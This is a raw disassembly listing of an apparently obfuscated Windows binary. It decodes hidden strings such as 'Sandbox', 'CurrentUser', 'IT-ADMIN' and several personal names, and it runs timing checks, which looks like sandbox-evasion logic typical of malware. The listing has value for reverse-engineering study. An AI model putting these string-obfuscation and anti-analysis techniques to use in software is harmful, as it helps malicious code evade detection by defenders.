jne 0x140022eac
lea r8d, [rax + 0x613fcea0]
lea r9d, [rax + rdx]
add r9d, 0x613fcea0
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0xa0
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r9d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
movzx edx, r9b
add rax, rcx
jmp 0x140022f87
lea ebx, [rax - 0x3a5bda88]
lea r11d, [rax + rdx]
add r11d, 0xc5a42578
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0xb8
cmp rdi, r8
jbe 0x140022ebe
lea ebx, [rax + 0x181ced98]
lea r11d, [rax + rdx]
add r11d, 0x181ced98
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0xd8
cmp rdi, r8
je 0x140022e2d
lea r9, [rcx + 2]
cmp rdi, r9
jne 0x140022f58
lea r9d, [rax + 0x7bb52c30]
lea r8d, [rax + rdx]
add r8d, 0x7bb52c30
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xb0
jmp 0x140022f80
lea rdx, [rcx + 9]
cmp rdi, rdx
je 0x140022e2d
jmp 0x140022ce8
je 0x140022f32
lea rbx, [rcx + 2]
cmp rdi, rbx
je 0x140022fa2
lea rbx, [rcx + 3]
cmp rdi, rbx
jne 0x140022fad
lea r9d, [rax + 0x453e1958]
lea r8d, [rax + rdx]
add r8d, 0x453e1958
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x98
lea r9d, [rax + 0x10535e38]
lea r11d, [rax + rdx]
add r11d, 0x10535e38
and r9d, edx
add r9d, r9d
sub r11d, r9d
add r11b, r8b
add r11b, 0x78
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x140022f7c
lea r10, [rcx + 4]
cmp rdi, r10
jne 0x140022d1f
lea ecx, [rax - 0x7af4ecb8]
lea r9d, [rdx + rax]
add r9d, 0x850b1348
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 8
mov byte [rbp + rax + 0x1f0], r9b
jmp 0x140022fa5
lea r9, [rcx + 5]
cmp rdi, r9
jne 0x140022f99
mov r9d, eax
or r9d, 0x6fd7720
lea r8d, [r9 + rdx]
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x20
mov rdi, r10
nop
movzx edx, r8b
not rdx
add rax, rdx
inc rax
cmp rax, 0x19
jb 0x140022d00
jmp 0x140023012
lea r9, [rcx + 3]
cmp rdi, r9
jne 0x140022fbf
mov r8, rcx
dec rax
mov rcx, r8
jmp 0x140022f8a
lea rbx, [rcx + 4]
cmp rdi, rbx
je 0x140022e2d
jmp 0x140022e76
lea r9, [rcx + 4]
cmp rdi, r9
je 0x140022f32
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x140022f8a
lea rsi, [rbp + 0x14ffa5b]
jmp 0x140022fe6
lea rsi, [rbp + 0x154b1e4]
mov rcx, rsi
call fcn.14006a6f0
jmp 0x140023043
lea rsi, [rbp + 0xd1b265]
jmp 0x140023012
lea rsi, [rbp + 0x16d5408]
jmp 0x140023012
lea rsi, [rbp + 0x140f27c]
jmp 0x140023012
lea rsi, [rbp + 0x1492e90]
mov rcx, rsi
call fcn.14006a6f0
mov byte [0x1400adb40], 1
mov dword [rbp + 0x1f0], 1
lea rdx, [rbp + 0x1f0]
mov r8d, 4
mov ecx, 8
call qword [0x1400adc30]
call qword [0x1400adc70]
mov rsi, rax
mov ecx, 0x12c
call qword [0x1400adc10]
shl rsi, 0x20
movabs rdi, 0xfffffed400000000
sub rdi, rsi
shr rdi, 0x20
call qword [0x1400adc70]
add rax, rdi
cdqe
mov rcx, rax
shr rcx, 0x20
sub eax, ecx
xor eax, ecx
cmp eax, 0x65
jl 0x14002309b
mov rsi, qword [0x1400adc08]
call qword [0x1400adb98]
mov rcx, rax
xor edx, edx
call rsi
cmp byte [0x1400a72f8], 0
je 0x14002340d
movaps xmm0, xmmword [0x140086d70]
movaps xmmword [rbp + 0x1f0], xmm0
mov dword [rbp + 0x200], 0x47473a3b
mov byte [rbp + 0x204], 0x74
mov qword [rbp + 0x205], 0
mov dword [rbp + 0x20c], 0
lea rsi, [rbp + 0x1f0]
call fcn.1400372c0
mov rdi, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
nop word cs:[rax + rax]
cmp rdi, rax
ja 0x1400233f5
movzx r9d, byte [rbp + rax + 0x1f0]
movzx r8d, r9b
lea rdx, [rcx + 1]
cmp rdi, rdx
jae 0x140023190
cmp rcx, rax
ja 0x1400233fe
lea r10, [rdi + rcx]
cmp r10, rax
jbe 0x140023230
lea r9, [rcx + 0x10]
cmp rdi, r9
je 0x1400232b0
lea r9, [rcx + 9]
cmp rdi, r9
je 0x14002337d
lea r9, [rcx + 6]
cmp rdi, r9
je 0x14002337a
lea r9, [rcx + 0xa]
cmp rdi, r9
jne 0x1400233e3
mov r9d, eax
or r9d, 0x4abe7aa0
lea edx, [r9 + r8]
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0xa0
jmp 0x140023366
jne 0x1400231a0
mov rdx, rcx
jmp 0x14002321c
lea r10, [rcx + 2]
cmp rdi, r10
jne 0x14002325f
lea r9d, [rax + 0x490bfa24]
lea r10d, [r8 + rax]
add r10d, 0x490bfa24
and r9d, r8d
add r9d, r9d
sub r10d, r9d
add r10b, 4
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
lea eax, [rcx + 0x5cdea190]
lea r9d, [rcx + r8]
add r9d, 0x5cdea190
and eax, r8d
add eax, eax
sub r9d, eax
add r9b, 0x10
mov byte [rbp + rcx + 0x1f0], r9b
sub rcx, rdi
inc rdi
movzx r9d, byte [rbp + rcx + 0x1ee]
add rcx, 0xfffffffffffffffe
mov rax, rcx
movzx ecx, r9b
add rax, rdx
add rax, rcx
jmp 0x140023380
lea r10, [rcx + 6]
cmp rdi, r10
jae 0x140023282
lea r11d, [rax + 0x13d2a76c]
lea r10d, [rax + r8]
add r10d, 0x13d2a76c
and r11d, r8d
add r11d, r11d
sub r10d, r11d
add r10b, 0xc
cmp rdi, rdx
je 0x1400232b0
jmp 0x1400232da
lea r10, [rcx + 3]
cmp rdi, r10
jne 0x140023313
lea r9d, [rax - 0x4d981d34]
lea edx, [rax + r8]
add edx, 0xb267e2cc
jmp 0x140023305
cmp rdi, rdx
je 0x140023192
lea r11d, [rax - 0x5fb84424]
lea r10d, [rax + r8]
add r10d, 0xa047bbdc
and r11d, r8d
add r11d, r11d
sub r10d, r11d
add r10b, 0xfc
cmp rdi, rdx
jne 0x1400232da
nop
lea ecx, [rax - 0x63ea38c]
lea r9d, [rax + r8]
add r9d, 0xf9c15c74
and ecx, r8d
add ecx, ecx
sub r9d, ecx
add r9b, 0xd4
mov byte [rbp + rax + 0x1f0], r9b
jmp 0x14002337d
lea r11, [rcx + 3]
cmp rdi, r11
je 0x14002337a
lea r11, [rcx + 5]
cmp rdi, r11
jne 0x140023392
lea r9d, [rax - 0x58ee4234]
lea edx, [rax + r8]
add edx, 0xa711bdcc
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0x6c
jmp 0x140023366
lea r10, [rcx + 6]
cmp rdi, r10
jne 0x140023371
lea r9d, [rax + 0x1b2807c]
lea edx, [rax + r8]
add edx, 0x1b2807c
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0x9c
lea r9d, [rax + 0x2166ab4c]
lea r10d, [rax + r8]
add r10d, 0x2166ab4c
and r9d, r8d
add r9d, r9d
sub r10d, r9d
add r10b, dl
add r10b, 0xec
mov byte [rbp + rax + 0x1f0], r10b
add rdi, rcx
movzx edx, dl
not rdx
add rax, rdx
jmp 0x140023383
lea r10, [rcx + 7]
cmp rdi, r10
jne 0x1400233d4
mov rdx, rcx
dec rax
mov rcx, rdx
inc rax
cmp rax, 0x20
jb 0x140023100
jmp 0x140023405
lea r11, [rcx + 2]
cmp rdi, r11
je 0x140023192
jbe 0x1400233c0
lea r9d, [rax + 0x5979a098]
lea r10d, [rax + r8]
add r10d, 0x5979a098
and r9d, r8d
add r9d, r9d
sub r10d, r9d
add r10b, 0xd8
cmp rcx, 9
ja 0x1400232b0
mov byte [rbp + rax + 0x1f0], r10b
jmp 0x140023383
lea r10, [rcx + 4]
cmp rdi, r10
jne 0x14002311f
jmp 0x14002337d
lea r9, [rcx + 8]
cmp rdi, r9
je 0x1400231ad
jmp 0x1400230e3
lea rsi, [rbp + 0xdb25ec]
jmp 0x140023405
lea rsi, [rbp + 0x1487e80]
mov rcx, rsi
call fcn.14006a6f0
mov dword [rbp + 0x1ec], 0x100
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x1ec]
call qword [0x1400add88]
mov byte [rbp + 0x4c0], 0x4b
mov byte [rbp + 0x4c1], 0x7d
mov byte [rbp + 0x4c2], 0x7a
mov byte [rbp + 0x4c3], 0x7a
mov byte [rbp + 0x4c4], 0x6d
mov byte [rbp + 0x4c5], 0x76
mov byte [rbp + 0x4c6], 0x7c
mov byte [rbp + 0x4c7], 0x5d
mov byte [rbp + 0x4c8], 0x7b
mov byte [rbp + 0x4c9], 0x6d
mov byte [rbp + 0x4ca], 0x7a
mov byte [rbp + 0x4cb], 0
add byte [rbp + 0x4c0], 0xf8
add byte [rbp + 0x4c1], 0xf8
add byte [rbp + 0x4c2], 0xf8
add byte [rbp + 0x4c3], 0xf8
add byte [rbp + 0x4c4], 0xf8
add byte [rbp + 0x4c5], 0xf8
add byte [rbp + 0x4c6], 0xf8
add byte [rbp + 0x4c7], 0xf8
add byte [rbp + 0x4c8], 0xf8
add byte [rbp + 0x4c9], 0xf8
add byte [rbp + 0x4ca], 0xf8
xorps xmm0, xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x4c0]
call fcn.14006afa0
test rax, rax
js 0x140025edc
mov rsi, rax
cmp rax, 0xf
ja 0x140023532
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], 0xf
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x4c0]
mov r8, rsi
call fcn.140084900
add rsi, rbp
add rsi, 0x1f0
jmp 0x1400235c9
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x14002357e
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5a7], 0
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x598], rax
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14002359f
lea rcx, [rbx + 1]
mov byte [rbp + 0x5a7], 0
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x598], rax
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], rbx
lea rdx, [rbp + 0x4c0]
mov rcx, rdi
mov r8, rsi
call fcn.140084900
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x210]
mov dword [rbp + 0x534], 0x4c
lea rsi, [rbp + 0x538]
mov byte [rbp + 0x538], 0x1f
mov byte [rbp + 0x539], 0x2d
mov byte [rbp + 0x53a], 0x22
mov byte [rbp + 0x53b], 0x28
mov byte [rbp + 0x53c], 0x2e
mov byte [rbp + 0x53d], 0x23
mov byte [rbp + 0x53e], 0x34
mov byte [rbp + 0x53f], 0
movzx eax, byte [rbp + 0x538]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x538], cl
movzx eax, byte [rbp + 0x539]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x539], cl
movzx eax, byte [rbp + 0x53a]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53a], cl
movzx eax, byte [rbp + 0x53b]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53b], cl
movzx eax, byte [rbp + 0x53c]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53c], cl
movzx eax, byte [rbp + 0x53d]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53d], cl
movzx eax, byte [rbp + 0x53e]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53e], cl
mov byte [rbp + 0x53f], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x210], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025ef6
mov rbx, rax
cmp rax, 0xf
ja 0x1400236f5
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], 0xf
jmp 0x14002376a
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14002373b
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140023755
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x230]
mov dword [rbp + 0x498], 0x75
lea rsi, [rbp + 0x49c]
mov byte [rbp + 0x49c], 0x30
mov byte [rbp + 0x49d], 0x18
mov byte [rbp + 0x49e], 0x1c
mov byte [rbp + 0x49f], 0x19
mov byte [rbp + 0x4a0], 0xc
mov byte [rbp + 0x4a1], 0
movzx eax, byte [rbp + 0x49c]
mov ecx, dword [rbp + 0x498]
xor cl, al
mov byte [rbp + 0x49c], cl
movzx eax, byte [rbp + 0x49d]
mov ecx, dword [rbp + 0x498]
xor cl, al
mov byte [rbp + 0x49d], cl
movzx eax, byte [rbp + 0x49e]
mov ecx, dword [rbp + 0x498]
xor cl, al
mov byte [rbp + 0x49e], cl
movzx eax, byte [rbp + 0x49f]
mov ecx, dword [rbp + 0x498]
xor cl, al
mov byte [rbp + 0x49f], cl
movzx eax, byte [rbp + 0x4a0]
mov ecx, dword [rbp + 0x498]
xor cl, al
mov byte [rbp + 0x4a0], cl
mov byte [rbp + 0x4a1], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x230], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025f09
mov rbx, rax
cmp rax, 0xf
ja 0x14002386f
mov qword [rbp + 0x240], rbx
mov qword [rbp + 0x248], 0xf
jmp 0x1400238e4
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400238b5
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400238cf
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x240], rbx
mov qword [rbp + 0x248], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x250]
mov dword [rbp + 0x540], 0x31
lea rsi, [rbp + 0x544]
mov byte [rbp + 0x544], 0x79
mov byte [rbp + 0x545], 0x70
mov byte [rbp + 0x546], 0x61
mov byte [rbp + 0x547], 0x64
mov byte [rbp + 0x548], 0x73
mov byte [rbp + 0x549], 0x66
mov byte [rbp + 0x54a], 0x62
mov byte [rbp + 0x54b], 0
movzx eax, byte [rbp + 0x544]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x544], cl
movzx eax, byte [rbp + 0x545]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x545], cl
movzx eax, byte [rbp + 0x546]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x546], cl
movzx eax, byte [rbp + 0x547]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x547], cl
movzx eax, byte [rbp + 0x548]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x548], cl
movzx eax, byte [rbp + 0x549]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x549], cl
movzx eax, byte [rbp + 0x54a]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x54a], cl
mov byte [rbp + 0x54b], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x260], xmm0
movaps xmmword [rbp + 0x250], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025f1c
mov rbx, rax
cmp rax, 0xf
ja 0x140023a21
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x268], 0xf
jmp 0x140023a96
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140023a67
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140023a81
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x250], rdi
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x268], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
mov byte [rbp + 0x4d6], 0x4e
mov byte [rbp + 0x4d7], 0x75
mov byte [rbp + 0x4d8], 0x74
mov byte [rbp + 0x4d9], 0x6b
mov byte [rbp + 0x4da], 0x26
mov byte [rbp + 0x4db], 0x52
mov byte [rbp + 0x4dc], 0x6b
mov byte [rbp + 0x4dd], 0x6b
mov byte [rbp + 0x4de], 0
add byte [rbp + 0x4d6], 0xfa
add byte [rbp + 0x4d7], 0xfa
add byte [rbp + 0x4d8], 0xfa
add byte [rbp + 0x4d9], 0xfa
add byte [rbp + 0x4da], 0xfa
add byte [rbp + 0x4db], 0xfa
add byte [rbp + 0x4dc], 0xfa
add byte [rbp + 0x4dd], 0xfa
lea rdi, [rbp + 0x270]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x280], xmm0
movaps xmmword [rbp + 0x270], xmm0
lea rcx, [rbp + 0x4d6]
call fcn.14006afa0
test rax, rax
js 0x140025f2f
mov rsi, rax
cmp rax, 0xf
ja 0x140023b6b
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], 0xf
jmp 0x140023bdf
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140023bb0
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140023bca
lea rcx, [rbx + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], rbx
lea rdx, [rbp + 0x4d6]
mov rcx, rdi
mov r8, rsi
call fcn.140084900
add rsi, rdi
mov byte [rsi], 0
mov byte [rbp + 0x4df], 0x4e
mov byte [rbp + 0x4e0], 0x59
mov byte [rbp + 0x4e1], 0x32
mov byte [rbp + 0x4e2], 0x46
mov byte [rbp + 0x4e3], 0x49
mov byte [rbp + 0x4e4], 0x52
mov byte [rbp + 0x4e5], 0x4e
mov byte [rbp + 0x4e6], 0x53
mov byte [rbp + 0x4e7], 0
add byte [rbp + 0x4df], 0xfb
add byte [rbp + 0x4e0], 0xfb
add byte [rbp + 0x4e1], 0xfb
add byte [rbp + 0x4e2], 0xfb
add byte [rbp + 0x4e3], 0xfb
add byte [rbp + 0x4e4], 0xfb
add byte [rbp + 0x4e5], 0xfb
add byte [rbp + 0x4e6], 0xfb
lea rdi, [rbp + 0x290]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2a0], xmm0
movaps xmmword [rbp + 0x290], xmm0
lea rcx, [rbp + 0x4df]
call fcn.14006afa0
test rax, rax
js 0x140025f42
mov rsi, rax
cmp rax, 0xf
ja 0x140023cb8
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2a8], 0xf
jmp 0x140023d2c
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140023cfd
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140023d17
lea rcx, [rbx + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x290], rdi
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2a8], rbx
lea rdx, [rbp + 0x4df]
mov rcx, rdi
mov r8, rsi
call fcn.140084900
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x2b0]
mov dword [rbp + 0x54c], 0x31
lea rsi, [rbp + 0x550]
mov byte [rbp + 0x550], 0x7b
mov byte [rbp + 0x551], 0x5e
mov byte [rbp + 0x552], 0x59
mov byte [rbp + 0x553], 0x5f
mov byte [rbp + 0x554], 0x50
mov byte [rbp + 0x555], 0x5e
mov byte [rbp + 0x556], 0x5f
mov byte [rbp + 0x557], 0
movzx eax, byte [rbp + 0x550]
mov ecx, dword [rbp + 0x54c]
xor cl, al
mov byte [rbp + 0x550], cl
movzx eax, byte [rbp + 0x551]
mov ecx, dword [rbp + 0x54c]
xor cl, al
mov byte [rbp + 0x551], cl
movzx eax, byte [rbp + 0x552]
mov ecx, dword [rbp + 0x54c]
xor cl, al
mov byte [rbp + 0x552], cl
movzx eax, byte [rbp + 0x553]
mov ecx, dword [rbp + 0x54c]
xor cl, al
mov byte [rbp + 0x553], cl
movzx eax, byte [rbp + 0x554]
mov ecx, dword [rbp + 0x54c]
xor cl, al
mov byte [rbp + 0x554], cl
movzx eax, byte [rbp + 0x555]
mov ecx, dword [rbp + 0x54c]
xor cl, al
mov byte [rbp + 0x555], cl
movzx eax, byte [rbp + 0x556]
mov ecx, dword [rbp + 0x54c]
xor cl, al
mov byte [rbp + 0x556], cl
mov byte [rbp + 0x557], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2c0], xmm0
movaps xmmword [rbp + 0x2b0], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025f55
mov rbx, rax
cmp rax, 0xf
ja 0x140023e6d
mov qword [rbp + 0x2c0], rbx
mov qword [rbp + 0x2c8], 0xf
jmp 0x140023ee2
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140023eb3
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140023ecd
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x2b0], rdi
mov qword [rbp + 0x2c0], rbx
mov qword [rbp + 0x2c8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x2d0]
mov dword [rbp + 0x580], 9
lea rsi, [rbp + 0x584]
mov eax, dword [rbp + 0x580]
xor al, 0x4d
mov byte [rbp + 0x584], al
mov eax, dword [rbp + 0x580]
inc al
xor al, 0x69
mov byte [rbp + 0x585], al
mov eax, dword [rbp + 0x580]
add al, 2
xor al, 0x6c
mov byte [rbp + 0x586], al
mov eax, dword [rbp + 0x580]
add al, 3
xor al, 0x6c
mov byte [rbp + 0x587], al
mov eax, dword [rbp + 0x580]
add al, 4
xor al, 0x65
mov byte [rbp + 0x588], al
mov eax, dword [rbp + 0x580]
add al, 5
xor al, 0x72
mov byte [rbp + 0x589], al
mov byte [rbp + 0x58a], 0
movzx eax, byte [rbp + 0x584]
mov ecx, dword [rbp + 0x580]
xor cl, al
mov byte [rbp + 0x584], cl
movzx eax, byte [rbp + 0x585]
mov ecx, dword [rbp + 0x580]
inc cl
xor cl, al
mov byte [rbp + 0x585], cl
movzx eax, byte [rbp + 0x586]
mov ecx, dword [rbp + 0x580]
add cl, 2
xor cl, al
mov byte [rbp + 0x586], cl
movzx eax, byte [rbp + 0x587]
mov ecx, dword [rbp + 0x580]
add cl, 3
xor cl, al
mov byte [rbp + 0x587], cl
movzx eax, byte [rbp + 0x588]
mov ecx, dword [rbp + 0x580]
add cl, 4
xor cl, al
mov byte [rbp + 0x588], cl
movzx eax, byte [rbp + 0x589]
mov ecx, dword [rbp + 0x580]
add cl, 5
xor cl, al
mov byte [rbp + 0x589], cl
mov byte [rbp + 0x58a], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2e0], xmm0
movaps xmmword [rbp + 0x2d0], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025f68
mov rbx, rax
cmp rax, 0xf
ja 0x140024045
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], 0xf
jmp 0x1400240ba
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14002408b
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400240a5
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x2d0], rdi
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x2f0]
mov dword [rbp + 0x58c], 0x2d
lea rsi, [rbp + 0x590]
mov eax, dword [rbp + 0x58c]
xor al, 0x6d
mov byte [rbp + 0x590], al
mov eax, dword [rbp + 0x58c]
inc al
xor al, 0x69
mov byte [rbp + 0x591], al
mov eax, dword [rbp + 0x58c]
add al, 2
xor al, 0x6c
mov byte [rbp + 0x592], al
mov eax, dword [rbp + 0x58c]
add al, 3
xor al, 0x6f
mov byte [rbp + 0x593], al
mov eax, dword [rbp + 0x58c]
add al, 4
xor al, 0x7a
mov byte [rbp + 0x594], al
mov eax, dword [rbp + 0x58c]
add al, 5
xor al, 0x61
mov byte [rbp + 0x595], al
mov byte [rbp + 0x596], 0
movzx eax, byte [rbp + 0x590]
mov ecx, dword [rbp + 0x58c]
xor cl, al
mov byte [rbp + 0x590], cl
movzx eax, byte [rbp + 0x591]
mov ecx, dword [rbp + 0x58c]
inc cl
xor cl, al
mov byte [rbp + 0x591], cl
movzx eax, byte [rbp + 0x592]
mov ecx, dword [rbp + 0x58c]
add cl, 2
xor cl, al
mov byte [rbp + 0x592], cl
movzx eax, byte [rbp + 0x593]
mov ecx, dword [rbp + 0x58c]
add cl, 3
xor cl, al
mov byte [rbp + 0x593], cl
movzx eax, byte [rbp + 0x594]
mov ecx, dword [rbp + 0x58c]
add cl, 4
xor cl, al
mov byte [rbp + 0x594], cl
movzx eax, byte [rbp + 0x595]
mov ecx, dword [rbp + 0x58c]
add cl, 5
xor cl, al
mov byte [rbp + 0x595], cl
mov byte [rbp + 0x596], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x300], xmm0
movaps xmmword [rbp + 0x2f0], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025f7b
mov rbx, rax
cmp rax, 0xf
ja 0x14002421d
mov qword [rbp + 0x300], rbx
mov qword [rbp + 0x308], 0xf
jmp 0x140024292
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140024263
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14002427d
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x2f0], rdi
mov qword [rbp + 0x300], rbx
mov qword [rbp + 0x308], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
